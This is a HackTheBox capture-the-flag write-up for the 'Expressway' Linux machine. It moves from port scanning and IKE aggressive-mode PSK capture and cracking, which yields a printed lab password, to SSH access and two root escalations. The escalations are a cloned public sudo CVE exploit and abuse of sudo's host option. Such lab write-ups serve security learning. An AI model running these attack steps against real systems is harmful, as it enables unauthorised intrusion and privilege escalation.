> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/expressway-hackthebox-writeup.md). # Expressway HackTheBox Writeup Expressway HackTheBox Easy Linux machine writeup covering Knowledge about enumerating and exploiting the IKE service, Linux system enumeration, Exploiting CVE-2025-32462, with practical enumeration, e {% embed url="" %} {% hint style="warning" %} **Skills:** * Knowledge about enumerating and exploiting the IKE service * Linux system enumeration * Exploiting CVE-2025-32462 {% endhint %} #### **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

#### **VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

#### **Open Port Discovery with Nmap:** The first step is to identify the exposed services. We perform a quick scan of TCP and UDP ports. #### Scan TCP ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 10.129.238.52 -oG allPort ``` #### Scan UDP ```bash nmap -sU --top-ports 100 --open -vvv -n 10.129.238.52 -oG allPortsUDP ```

#### Service and Version Scan After identifying the ports, we dig deeper into specific services: * TCP : Port 22 (SSH) * UDP : Ports 68, 69 (TFTP), 500 (ISAKMP/VPN), 4500 (IPsec-NAT-T) ```bash nmap -sCV -p22 10.129.238.52 -oN targeted ``` ```bash nmap -sUCV -p 68,69,500,4500 10.129.238.52 -oN targetedUDP ```

### Intrusion : Exploitation IKE (VPN) Port 500 UDP indicates a key exchange service (IKE). We are attempting to capture the Pre-Shared Key (PSK) using aggressive mode. #### ID identification We use `ike-scan` to check if aggressive mode is enabled:. ```bash sudo ike-scan -A 10.129.238.52 ``` * Result: Handshake successful. ID detected: `ike@expressway.htb`. #### Capture and crack the PSK hash

```bash sudo ike-scan -A -id ike@expressway.htb --pskcrack=expressway.psk 10.129.238.52 ``` We extract the hash to attempt a brute force attack with the `rockyou.txt` dictionary. ```bash hashcat expressway.psk /usr/share/wordlists/rockyou.txt ``` * Credentials obtained: `ike`: `freakingrockstarontheroad`

#### Initial Access Connection via SSH with the credentials found: ```bash ssh ike@10.129.238.52 ``` ## Privilege escalation Two vectors have been confirmed to elevate privileges to root. ### Method 1: CVE-2025-32463 (Vulnerability Sudo) Checking the sudo version with `sudo -V`, we see that the version is 1.9.17, which is vulnerable. {% embed url="" %}

1. Clone the exploit: ```bash git clone https://github.com/MohamedKarrab/CVE-2025-32463.git cd CVE-2025-32463 ``` Executing the compilation and exploitation scripts: ```bash ./mkall-dynamic.sh ./get_root.sh ```

### Method 2: Abuse of Proxy and Hostnames group By auditing the user's groups, we see that we belong to the proxy group. We are looking for the associated files:

By examining the Squid logs (`/var/log/squid/access.log.1`) ```bash find / -group proxy 2>/dev/null ```

We discover an internal subdomain: `offramp.expressway.htb`. ```bash cat /var/log/squid/access.log.1 | grep httpp ```

Checking the sudo policies for this specific domain we discover that we have full permissions: ```bash sudo -h offramp.expressway.htb -l ``` Result: We can run any command as root in this host context.

**Final execution for Root:** ```bash sudo -h offramp.expressway.htb /bin/bash ```

### Flag root.txt :)

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